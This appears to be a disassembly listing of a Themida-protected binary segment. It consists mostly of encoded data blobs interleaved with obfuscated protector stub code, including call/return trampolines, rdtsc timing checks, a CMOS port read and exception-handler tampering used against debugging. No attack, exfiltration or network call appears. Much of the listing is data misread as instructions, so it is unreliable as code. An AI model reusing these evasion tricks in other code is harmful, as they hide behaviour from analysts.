		dd 362714Fh, 34815B8Dh,	8236AD24h, 52006A3Ch, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F8858D3Ch
		dd 6007FE7Bh, 1A019529h, 816607FAh, 61C7B8CAh, 0EE0EBB90h
		dd 5050559Fh, 0AE952h, 0C82C0000h, 0FD2F43BDh, 13D27A89h
		dd 5250310Fh, 310F5B53h, 9E9h, 894CE000h, 877578EBh, 585A4D4Dh
		dd 0BF90585Ah, 5D787CDAh, 178595FFh, 6A07FAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0CDC2A6C3h
		dd 234F350Bh, 0FABF3AB4h, 6107AB40h, 0B7F2F8BFh, 0ED85C721h
		dd 307FA1Ah, 60000000h,	9E9h, 0F0125F00h, 978032E3h, 10E9B2A8h
		dd 52000000h, 13A7176Ch, 0E12989EAh, 0B8B6C4E8h, 61B11571h
		dd 7BF8BD83h, 0F0007FEh, 6284h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 56A1F6E6h
		dd 9E9h, 2ADE1600h, 7AD72360h, 4BE97210h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 5ADAC351h, 0C840F31h, 0F000000h, 68Dh, 31BD8B00h, 5007FA25h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6E9C08Bh, 4F000000h,	27839D4Fh, 0A985891Eh, 8307FA14h
		dd 0FA1AEDBDh, 850F0307h, 563h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 45C35141h, 7F8693F5h, 3DB589B9h
		dd 8307FA31h, 0FE7BF8BDh, 840F0007h, 52Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0EC35040h, 0D98D29DAh
		dd 0FF07FA2Bh, 0FE7BF8B5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0FF123CF1h
		dd 98B0Fh, 0FC600000h, 8F0Fh, 0FF610000h, 0FA014D95h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 6B7A28C1h, 8939D00Dh, 0FA04E99Dh, 0ECB58B07h, 6A07FE7Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0A22FC355h, 106C749h, 6A000100h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0E015C350h, 96E66F37h, 10E9h, 2A4E9E00h, 0B7659E30h
		dd 5089632Bh, 7ACA0672h, 8B665095h, 6A96DEh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 593499C3h
		dd 0AC1D99B0h, 8BB4F653h, 0FA1505BDh, 0F8B5FF07h, 6A07FE7Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 1C2CC350h, 0CB9C6B8Bh, 9499D23h, 958907FAh
		dd 7FA12E9h, 161D95FFh,	0F5607FAh, 681h, 19D8B00h, 5F07FA28h
		dd 7BECB58Bh, 860F07FEh, 5, 80DBE5BBh, 9858B69h, 0BB07FA0Bh
		dd 275146EAh, 0C48689h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0EB0D9CC3h, 8B4CA05Ch
		dd 0FA0A41BDh, 799D8B07h, 8B07FA05h, 0FA27C195h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F1F48A7h, 284h, 83FB8B00h, 508904C2h, 51006A20h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 861CF9EAh, 0E0235BF2h, 3CEB8166h, 0A3858DB4h, 8907FE90h
		dd 0FA041DB5h, 0B8868907h, 8B000000h, 0FA18B9BDh, 6A006A07h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0A7E1C355h, 6330858Dh, 8B1F57BCh,	0FA12C99Dh
		dd 860F6007h, 3, 0FD9B70Fh, 68Bh, 818D8B00h, 6107FA11h
		dd 7BF8B5FFh, 6A07FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 16666DC3h, 0D833D1B8h, 1EF995FFh
		dd 0BF0F07FAh, 606096FFh, 0BB666160h, 0E861BEAAh, 0Ch
		dd 0D10C8178h, 594367DFh, 10C311A5h, 10E8h, 2C3D0500h
		dd 3C01AA20h, 9D614602h, 4C2DDBF5h, 61585F24h, 50525050h
		dd 0FE8B6652h, 5250310Fh, 585A310Fh, 310F585Ah,	52505250h
		dd 585A310Fh, 9E9310Fh,	81000000h, 20208290h, 0F87471Eh
		dd 585A585Ah, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 6263EED7h, 6660ABCDh, 8C0FF98Bh
		dd 0
; ---------------------------------------------------------------------------
		popa
		mov	edi, [ebp+7FA27B1h]
		movsx	ebx, di
		push	dword ptr [ebp+7FE7BF8h]
		mov	edi, [ebp+7FA1DE1h]
		call	dword ptr [ebp+7FA0765h]
		or	ebx, [ebp+7FA0489h]
		cmp	dword ptr [ebp+7FA1EC5h], 0
		jz	loc_5FEDD0
		push	0
		push	eax
		call	sub_5FED5E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FED5E	proc near		; CODE XREF: Themida_:005FED56p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5FED5E	endp

; ---------------------------------------------------------------------------
		dw 0D557h
		dd 0E74BA031h, 0C38166ECh, 60968815h, 30BA6660h, 0DE861B6h
		dd 69000000h, 2FDD286Ah, 36A40D77h, 2474AD89h, 14E9h, 0EE3C0D00h
		dd 0ABAA0FAh, 0C2F8E0B0h, 1350905Fh, 0D2085FDh,	50615927h
		dd 6A96FE8Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6CE8C350h
; ---------------------------------------------------------------------------


loc_5FEDD0:				; CODE XREF: Themida_:005FED4Dj
		push	dword ptr [ebp+7FE7BF8h]
		push	0
		push	esi
		call	sub_5FEDE1
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FEDE1	proc near		; CODE XREF: Themida_:005FEDD9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5FEDE1	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		sahf
		and	[ecx+ebx*4+178D7A1h], ebx
		retn	8960h
; ---------------------------------------------------------------------------
		test	ds:5307FA1Ch, ebx
		mov	bx, di
		pop	ebx
		popa
		movsx	ebx, cx
		call	dword ptr [ebp+7FA18F5h]
		push	0
		push	edx
		call	sub_5FEE1C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FEE1C	proc near		; CODE XREF: Themida_:005FEE14p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5FEE1C	endp

; ---------------------------------------------------------------------------
		dd 327AE946h, 69BD8BD1h, 8907FA15h, 0FA1B998Dh,	0F8B5FF07h
		dd 6A07FE7Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0C1C1C351h, 1C8274A3h,	16850Fh
		dd 0EE80000h, 6F000000h, 0EB614CD8h, 0D357D0h, 7A594E5Fh
		dd 5B5F5102h, 1EB195FFh, 816607FAh, 834C50C7h, 0FA26F5BDh
		dd 840F0207h, 5Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 42C35747h, 830FF64Fh,	2, 858BF98Bh, 7FA1419h
		dd 2099BD8Bh, 0C607FAh,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 8E74BFBCh, 0C95716BFh
		dd 9FE2E381h, 85C75FDDh, 7FA05B1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5FEF0B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FEF0B	proc near		; CODE XREF: Themida_:005FEF03p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5FEF0B	endp

; ---------------------------------------------------------------------------
		db 48h
		dd 78E4B648h, 7E8AF84h,	0F2000000h, 213702FFh, 0BB668AFBh
		dd 0E95F911Fh, 0FFFFF192h, 31519D89h, 0C18B07FAh, 65BD0960h
		dd 0B907FA0Ch, 8733DAEh, 5DBD3361h, 8D07FA35h, 0FA150D85h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0D552200h, 3E61C90Ah, 800F9041h,	0
; ---------------------------------------------------------------------------
		push	eax
		mov	di, 0C43Eh
		nop
		clc
		push	0
		push	0
		push	ecx
		call	sub_5FEF98
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FEF98	proc near		; CODE XREF: Themida_:005FEF90p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5FEF98	endp

; ---------------------------------------------------------------------------
		dd 7E9F6h, 88B00000h, 97B262A6h, 6A006AAAh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8ADDC357h
		dd 0F3816848h, 7CC95A41h, 0D618858Dh, 9D8B07FFh, 7FA17B1h
		dd 6A05C083h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0E9EC352h, 96D8C9D3h, 0B589A8F8h
		dd 7FA1531h, 5810F90h, 0BB000000h, 489A5CDCh, 9D39BB50h
		dd 57906027h, 27ABBB66h, 0FC006A5Fh, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 20F408C3h
		dd 5B895C62h, 668F1C90h, 95FFFB8Bh, 7FA174Dh, 8099D89h
		dd 8D8D07FAh, 7FE7ADBh,	1739BD89h, 0D1FF07FAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 48C35747h, 317FCE0Ch
		dd 0BF0F292Ah, 0ADBD83DAh, 107FA27h, 76850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 2B95A0C3h, 6ADA8B89h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BF90883Bh, 2935E7DFh
		dd 39B75250h, 0F98B905Fh, 1EF995FFh, 6A07FAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 44AAB5C3h
		dd 50FC9DBEh, 0CD9E9h, 0E800h, 815D0000h, 0FFD622EDh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 66B99BC9h, 0D781D98Bh, 61F97FD3h, 4FA2858Dh,	6A07FEh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 1AEFE4C3h, 5F52509Dh, 8A240489h, 35FF64FEh, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7FA12F5h]
		mov	large fs:0, esp
		push	0
		push	ecx
		call	sub_5FF1A0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FF1A0	proc near		; CODE XREF: Themida_:005FF198p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5FF1A0	endp

; ---------------------------------------------------------------------------
		stosb
		jecxz	short loc_5FF21F
		and	ss:[edi+ebp*4-1Bh], eax
		mov	edi, 2585FFF5h
		xor	edx, edi
		pop	es
		push	0FFFFFFFFh
		sbb	di, 5CB0h
		push	dword ptr [ebp+7FA1855h]
		push	0
		push	ebp
		call	sub_5FF1D8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FF1D8	proc near		; CODE XREF: Themida_:005FF1D0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5FF1D8	endp

; ---------------------------------------------------------------------------
		dd 122B4843h, 8ABF5224h, 9E85252h, 0C000000h, 0E8080B9Ah
		dd 7DAE8E35h, 95FF5F5Bh, 7FA018Dh, 121E9h, 0A5858900h
		dd 0B007FA04h, 0D7816600h, 7E8B945h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5FF21F:				; CODE XREF: Themida_:005FF1B1j
		adc	al, 0A5h
		scasb
		sub	dl, [eax]
		and	byte ptr [eax+2370E65Bh], 0BDh
		sub	ds:0F88A07FAh, esi
		in	al, 71h		; CMOS Memory
		mov	[ebp+7FA2B39h],	edi
		cmp	al, 61h
		jnb	loc_5FF32E
		mov	[ebp+7FA16EDh],	ebx
		movzx	ecx, al
		mov	bx, si
		mov	edx, 6
		cld
		mov	eax, ecx
		call	near ptr loc_5FF266+5
		call	near ptr 0AF7B5F68h
		push	edx
		or	[ecx+0FBCFB43h], ch


loc_5FF266:				; CODE XREF: Themida_:005FF255p
		sub	[eax-74A7EAF2h], cl
		popf
		fnsave	byte ptr [edx]
		cli
		pop	es
		pop	edi
		shr	eax, 4
		jnp	loc_5FF281
		mov	[ebp+7FA1549h],	esi


loc_5FF281:				; CODE XREF: Themida_:005FF275j
		mul	dx
		sub	ecx, eax
		mov	di, 27E3h
		movzx	edi, bx
		mov	edx, ecx
		mov	bx, 6C8Ah
		jmp	loc_5FF32E
; ---------------------------------------------------------------------------
		movsx	edi, bx
		sub	[ebp+7FA3339h],	esi
		mov	eax, [ebp+47554C50h]
		or	[ebp+7FA04E9h],	edx
		mov	edi, edx
		add	eax, 7
		jnp	loc_5FF2D3
		call	near ptr loc_5FF2CA+2
		ffreep	st(6)
		sub	esp, [eax]
		xor	edi, [ecx-6]
		adc	[edx+7Dh], ecx
		movsb
		db	26h
		nop


loc_5FF2CA:				; CODE XREF: Themida_:005FF2B8p
		xor	[ebp+2179B529h], edx
		cli
		pop	es
		pop	ebx


loc_5FF2D3:				; CODE XREF: Themida_:005FF2B2j
		add	eax, 0
		jmp	loc_5FF2E2
; ---------------------------------------------------------------------------
		adc	edx, [edi-4862243Bh]
		push	ebx


loc_5FF2E2:				; CODE XREF: Themida_:005FF2D6j
		cmp	edx, eax
		jnb	loc_5FF2F6
		and	edi, [ebp+7FA0759h]
		jmp	loc_5FF32E
; ---------------------------------------------------------------------------
		clc


loc_5FF2F6:				; CODE XREF: Themida_:005FF2E4j
		mov	ecx, [ebp-1]
		mov	[ebp+7FA2179h],	esi
		and	ecx, 1
		jz	loc_5FF32E
		and	dword ptr [ebp-1], 0FFFFFFFEh
		pusha
		mov	eax, [ebp+7FA2B2Dh]
		popa
		mov	ebx, [ebp+7FA2401h]
		mov	[ebp+47554C50h], edx
		and	bl, 0D6h
		jmp	$+5


loc_5FF32E:				; CODE XREF: Themida_:005FF23Bj
					; Themida_:005FF293j ...
		lea	esi, [ebp+7FF53F0h]
		pusha
		mov	edx, [ebp+7FA01C5h]
		movzx	ebx, bx
		popa
		push	0
		pusha
		movzx	ebx, si
		movzx	eax, si
		popa
		call	dword ptr [ebp+7FA012Dh]
		push	0
		push	ebp
		call	sub_5FF35A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FF35A	proc near		; CODE XREF: Themida_:005FF352p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5FF35A	endp

; ---------------------------------------------------------------------------
		mov	edi, [eax]
		mov	edx, 896DB872h
		xchg	eax, ebp
		and	[edx], edx
		cli
		pop	es
		sub	ebx, 3EB06647h
		mov	ecx, 0FE4h
		push	0
		push	esi
		call	sub_5FF38C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FF38C	proc near		; CODE XREF: Themida_:005FF384p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5FF38C	endp

; ---------------------------------------------------------------------------
		inc	ecx
		mov	bx, ax
		and	ecx, 0FFFFFFFCh
		push	0
		push	ebx
		call	sub_5FF3AE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FF3AE	proc near		; CODE XREF: Themida_:005FF3A6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5FF3AE	endp

; ---------------------------------------------------------------------------
		mov	ah, 0EAh
		test	[ecx], dl
		sub	al, 74h
		cld
		sub	[ebp+7FA0535h],	ebx
		mov	[ebp+7FA2511h],	edx
		mov	eax, 0
		push	0
		push	eax
		call	sub_5FF3E1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FF3E1	proc near		; CODE XREF: Themida_:005FF3D9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5FF3E1	endp

; ---------------------------------------------------------------------------
		db 2Eh,	29h, 0E8h
		dd 89F98F5Ch, 0FA179DB5h, 5860F07h, 0BF000000h,	598A784Eh
		dd 0BAh, 0B58D2900h, 0AD07FA0Ah, 0E8D1C233h, 0E983D003h
		dd 0E9F47504h, 13h, 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh
		dd 6A2411ACh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 941CC357h, 768102D9h, 880Dh, 85896000h
		dd 7FA15D5h, 3285BD31h,	0E86107FAh, 0Ch, 8E0234ECh, 2CC1407Dh
		dd 22924844h, 0C1958B5Fh, 6A07FA27h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0FDC6C350h
		dd 29BF729Ah, 8B575DDDh, 0FA1C018Dh, 4FE78107h,	504895EEh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	0D676BF58h
		dd 9D332EBAh, 7FA03F1h,	8ECB8166h, 41BD83D0h, 7FA07h, 8B840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 3B2BEFC3h, 0E8E73D4Eh, 0Eh, 60755381h, 0E8175784h
		dd 14F799AAh, 0BD2906F8h, 7FA0241h, 0B85Bh, 10E90000h
		dd 6A000000h, 1D1EB6A2h, 34CE13CBh, 52F28714h, 8DE167EDh
		dd 0FA4F538Dh, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 7D9AB686h, 9D0150F4h
		dd 7FA0D21h, 89E1FF5Fh,	0FA073D95h, 0EDBD8307h,	7FA1Ah
		dd 3B5840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 2C8DBC3h, 0EF39895Ah, 890F9BD9h
		dd 15h,	9E8h, 0ACD5B00h, 4A3C0989h, 0B5313E3Ah,	7FA0CD9h
		dd 0EDBD835Fh, 107FA1Ah, 384840Fh, 12E90000h, 79000000h
		dd 977FB8Ch, 2CC99F82h,	38EF120Ch, 0CBB0BB8Eh, 0EDBD8324h
		dd 307FA1Ah, 32A860Fh, 0BB660000h, 0BF0FBE46h, 0BF5660FBh
		dd 25D2D6A0h, 0D98C665Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 22C35646h, 802CA278h,	6A04E1h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 3B2BEFC3h, 0AE73D4Eh, 0E1840FC9h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0AFD5C353h, 60C12CECh, 858B3810h, 7FA17D5h, 1A418533h
		dd 0BB6607FAh, 0BF90E9F5h, 75A6772Dh, 0AE950h, 0D6A90000h
		dd 0CD1F7DC7h, 32128186h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BE38ED0h
		dd 0FA06BDBDh, 0EEDB8107h, 6A78E79Ah, 21BD8B00h, 6807FA26h
		dd 7F8665F4h, 3481FBB3h, 99660B24h, 50006A7Fh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0C2BF126Ah
		dd 0FF0ABEECh, 0FA178595h, 0F5BB6607h, 0F8858901h, 6A07FE7Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0A67CC356h, 0E93E25AEh, 16Eh, 7BF0858Bh
		dd 6A07FEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 21BE00C3h, 6E8A23Ch, 37000000h, 98431866h
		dd 899589A8h, 5F07FA17h, 1800C7h, 0D98B0000h, 7BF4B58Bh
		dd 6A07FEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0A2A999C3h, 6E1858Bh, 6A07FAh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 3C2A22C3h
		dd 9B5548FDh, 0EE85365h, 2E000000h, 2062FC87h, 0D8DF1CC0h
		dd 9218DF5Ch, 5BFA8B92h, 8B06895Bh, 0FA17D585h,	4689F807h
		dd 0D88B6604h, 3CB26050h, 40553CB9h, 34896159h,	0F0B5FF24h
		dd 6A07FE7Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 8D56C352h, 5DBD8BBEh, 6807FA1Fh
		dd 485DAC09h, 13E960h, 0C2050000h, 89315C2Ah, 0E9BBADC6h
		dd 0F7F61485h, 0D7381EEBh, 61C78AB9h, 0F6243481h, 8B4842AFh
		dd 0FA19E99Dh, 0F8858D07h, 6A07FE7Bh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 38B4C352h
		dd 7C5BF51Dh, 0BD2B2A87h, 7FA25D5h, 0DA8B6650h,	0FF240489h
		dd 0FA178595h, 14E907h,	0F6DC0000h, 2597738Fh, 605B395Dh
		dd 0F677F22Ah, 58D8AB80h, 8B617E0Ch, 0FA32CD9Dh, 0ED85C707h
		dd 307FA1Ah, 0F000000h,	0BD83DAB7h, 7FE7BF8h, 5D840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 2966C355h, 0E9F1BF10h,	9D8B1532h
		dd 7FA0C5Dh, 4AE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 8C41B332h, 0DC416323h
		dd 781ABF40h, 85295F3Bh, 7FA3205h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0BD58C350h, 0A58BA6D3h, 0D380987Bh, 4800F66h, 66000000h
		dd 837EF0BFh, 0FA1AEDBDh, 850F0307h, 438h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7CC35242h, 6686572Dh
		dd 0BD83DA8Bh, 7FE7BF8h, 9840F00h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 4DFEC356h, 5E1664BEh, 9E9h, 47AC1100h, 0E2E1E335h, 0B5FFBEA2h
		dd 7FE7BF8h, 2E3D9529h,	95FF07FAh, 7FA014Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D2C35141h, 8BAB8BDCh
		dd 0FE7BECB5h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0D8EB2943h, 3EF8166h
		dd 106C71Ch, 6A000100h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 3E14C356h, 9D8B2B9Eh
		dd 7FA1CB9h, 2F1BD8Bh, 669607FAh, 5350DF8Bh, 5FFA8B66h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0F5C78029h, 7BF8B5FFh, 9E807FEh,	0B6000000h
		dd 3EC648F8h, 0A0A8F5D8h, 5FD8B70Fh, 161D95FFh,	8D8907FAh
		dd 7FA02BDh, 7BECB58Bh,	8D8907FEh, 7FA33F9h, 2019D8Bh
		dd 858B07FAh, 7FA0B09h,	868967B3h, 0C4h, 6880Fh, 9D890000h
		dd 7FA1231h, 27C1958Bh,	0B70F07FAh, 4C283DBh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 18C35747h, 28F113A4h
		dd 9185890Ah, 8907FA16h, 81662050h, 29F096C7h, 0FA1EA5BDh
		dd 0A3858D07h, 6A07FE90h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0FE02C356h,	600C002Ah
		dd 2B3DB501h, 850F07FAh, 6, 7F1B58Bh, 0F86107FAh, 0B88689h
		dd 0FD8A0000h, 6A006Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 8F23D8C3h, 0BD099446h, 7FA243Dh
		dd 18619D89h, 0B5FF07FAh, 7FE7BF8h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 4C35747h, 0BD9D8B78h, 0FF07FA11h
		dd 0FA1EF995h, 0E8529607h, 13h,	0B36335C7h
		dd 0DEF44E80h, 89431738h, 66644E70h, 0E90F7EBFh, 7, 0E138F886h
		dd 5FC6C929h, 5250505Bh, 585A310Fh, 52006A96h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 4BEECFACh
		dd 202C3D05h, 0A498529h, 0B5FF07FAh, 7FE7BF8h, 0D26FCF81h
		dd 0FB8B7AB0h, 76595FFh, 0FE8B07FAh, 1EC5BD83h,	0F0007FAh
		dd 4484h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0D70B1730h, 89CFAB2h, 24348950h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C1C35343h
		dd 0F8B5FF65h, 0F07FE7Bh, 481h,	0D0BB6600h, 0F595FF12h
		dd 6A07FA18h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 8796C352h, 10E860h, 7E220000h
		dd 0A014FF74h, 0EC19A314h, 48CC1FF6h, 0BA66A60Ah, 89596620h
		dd 0FA1005B5h, 0B5FF6107h, 7FE7BF8h, 0F5C9BF66h, 1EB195FFh
		dd 6A07FAh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 78BA7EC3h, 8E8h, 0BEA01E00h, 328EF141h, 1D85099Dh
		dd 5F07FA1Ah, 6870Fh, 0BD010000h, 7FA1605h, 2AEDBD8Bh
		dd 0BD8307FAh, 7FA26F5h, 34840F02h, 0BB000000h,	32294C98h
		dd 1419858Bh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0FB6239C3h, 0C62B7Dh, 459D8B00h
		dd 0C707FA1Ah, 0FA05B185h, 7, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 6955662Ah
		dd 66F4E6DDh, 65FDCB81h, 13E9h,	34841F00h, 0DB87A39Ah
		dd 0CED4C2D7h, 0B7A34AB7h, 9A06C209h, 0FFF3DFE9h, 958953FFh
		dd 7FA1C15h, 8BC18B5Fh,	0FA0389BDh, 38B0F07h, 66000000h
		dd 858DF88Bh, 7FA150Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 38C35242h, 5860F9Ch, 60000000h, 61F7BF0Fh
		dd 0A7D9D8Bh, 505007FAh, 60310F52h, 52506160h, 585A310Fh
		dd 89585A61h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0CFFDEDC3h, 0B73C0489h, 2579BD0Bh
		dd 800F07FAh, 2, 6ADD8Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 65C35141h, 22BCE094h,	18589F9h, 6A07FA24h
